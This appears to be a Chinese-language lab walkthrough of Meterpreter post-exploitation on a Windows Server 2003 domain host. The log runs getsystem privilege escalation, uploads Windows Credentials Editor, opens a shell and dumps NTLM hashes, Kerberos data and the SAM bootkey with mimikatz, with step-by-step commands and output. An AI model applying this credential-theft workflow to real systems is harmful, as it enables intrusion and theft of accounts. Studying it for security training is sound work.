meterpreter > sysinfo //输出系统信息 Computer : XIDIAN-49F52879 OS : Windows .NET Server (Build 3790, Service Pack 2). Architecture : x86 //32位系统 System Language : zh_CN Domain : DVSSC //域名 Logged On Users : 2 Meterpreter : x86/windows meterpreter > pwd //当前位置 C:\WINDOWS\system32 meterpreter > ipconfig //网络信息
Interface 1 ============ Name : MS TCP Loopback interface Hardware MAC : 00:00:00:00:00:00 MTU : 1520 IPv4 Address : 127.0.0.1
Interface 65539 ============ Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:0c:29:86:88:2e MTU : 1500 IPv4 Address : 10.10.10.130 IPv4 Netmask : 255.255.255.0
meterpreter > getsystem //提权(一般不会直接成功的，可能我配置太简单了) ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid //查看自己身份 Server username: NT AUTHORITY\SYSTEM //提权成功 meterpreter > upload /root/Desktop/wce32.exe //上传获取密码的工具(Windows Credentials Editor) [*] uploading : /root/Desktop/wce32.exe -> wce32.exe [*] Uploaded 194.50 KiB of 194.50 KiB (100.0%): /root/Desktop/wce32.exe -> wce32.exe [*] uploaded : /root/Desktop/wce32.exe -> wce32.exe meterpreter > pwd C:\WINDOWS\system32 meterpreter > shell //打开对方机器上的shell Process 264 created. Channel 2 created. Microsoft Windows [�汾 5.2.3790] (C) ��Ȩ���� 1985-2003 Microsoft Corp.
C:\WINDOWS\system32>wce32.exe -h //执行该程序 wce32.exe -h WCE v1.42beta (Windows Credentials Editor) - (c) 2010-2013 Amplia Security - by Hernan Ochoa (hernan@ampliasecurity.com) Use -h forhelp. Options: -l List logon sessions and NTLM credentials (default). -s Changes NTLM credentials of current logon session. Parameters: <UserName>:<DomainName>:<LMHash>:<NTHash>. -r Lists logon sessions and NTLM credentials indefinitely. Refreshes every 5 seconds if new sessions are found. Optional: -r<refresh interval>. -c Run <cmd> in a new session with the specified NTLM credentials. Parameters: <cmd>. -e Lists logon sessions NTLM credentials indefinitely. Refreshes every time a logon event occurs. -o saves all output to a file. Parameters: <filename>. -i Specify LUID instead of use current logon session. Parameters: <luid>. -d Delete NTLM credentials from logon session. Parameters: <luid>. -a Use Addresses. Parameters: <addresses> -f Force 'safe mode'. -g Generate LM & NT Hash. Parameters: <password>. -K Dump Kerberos tickets to file (unix & 'windows wce' format) -k Read Kerberos tickets from file and insert into Windows cache -w Dump cleartext passwords stored by the digest authentication package -v verbose output.
Modules disponibles : - Standard crypto - Cryptographie et certificats hash - Hash system - Gestion syst�me process - Manipulation des processus thread - Manipulation des threads service - Manipulation des services privilege - Manipulation des privil�ges handle - Manipulation des handles impersonate - Manipulation tokens d'acc�s winmine - Manipulation du d�mineur minesweeper - Manipulation du d�mineur 7 nogpo - Anti-gpo et patchs divers samdump - Dump de SAM inject - Injecteur de librairies ts - Terminal Server divers - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module sekurlsa - Dump des sessions courantes par providers LSASS efs - Manipulations EFS meterpreter > msv [+] Running as SYSTEM [*] Retrieving msv credentials msv credentials ===============
AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;996 Negotiate NT AUTHORITY NETWORK SERVICE lm{ 00000000000000000000000000000000 }, ntlm{ a380d2a33555b478150835bd25cb43c9 } 0;55142 NTLM lm{ 00000000000000000000000000000000 }, ntlm{ a380d2a33555b478150835bd25cb43c9 } 0;281208 Kerberos DVSSC Administrator lm{ e416ece4a13312604d0e222ee9c73e37 }, ntlm{ 0eb11f69c85857697c113bd198f58c9b } 0;997 Negotiate NT AUTHORITY LOCAL SERVICE n.s. (Credentials KO) 0;999 Negotiate DVSSC XIDIAN-49F52879$ n.s. (Credentials KO)
meterpreter > kerberos //获取Kerberos信息，这里我不太熟悉win的Kerbose配置，所以该域内没有其他机器信息 [+] Running as SYSTEM [*] Retrieving kerberos credentials kerberos credentials ====================
AuthID Package Domain User Password ------ ------- ------ ---- -------- 0;281208 Kerberos DVSSC Administrator 0;55142 NTLM 0;997 Negotiate NT AUTHORITY LOCAL SERVICE 0;999 Negotiate DVSSC XIDIAN-49F52879$ 0;996 Negotiate NT AUTHORITY NETWORK SERVICE 22 75 56 92 6b fc 5b 3a 64 93 e1 c2 73 6a 53 fd 52 3b b8 b4 88 5a 06 91 22 c9 73 71
meterpreter > wdigest //获取系统账户信息 [+] Running as SYSTEM [*] Retrieving wdigest credentials wdigest credentials ===================
Description du module : Dump de SAM hashes - R�cup�re la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM bootkey - R�cup�re la bootkey depuis une ruche SYSTEM meterpreter > mimikatz_command -f samdump::hashed Module : 'samdump' identifi�, mais commande 'hashed' introuvable
Description du module : Dump de SAM hashes - R�cup�re la bootkey depuis une ruche SYSTEM puis les hashes depuis une ruche SAM bootkey - R�cup�re la bootkey depuis une ruche SYSTEM meterpreter > mimikatz_command -f samdump::hashes //抓取所有用户的hash值 Ordinateur : xidian-49f52879.dvssc.com BootKey : 97502e69c274eaa425000258a2795e8d
从上面可以获取信息：
v1.5.2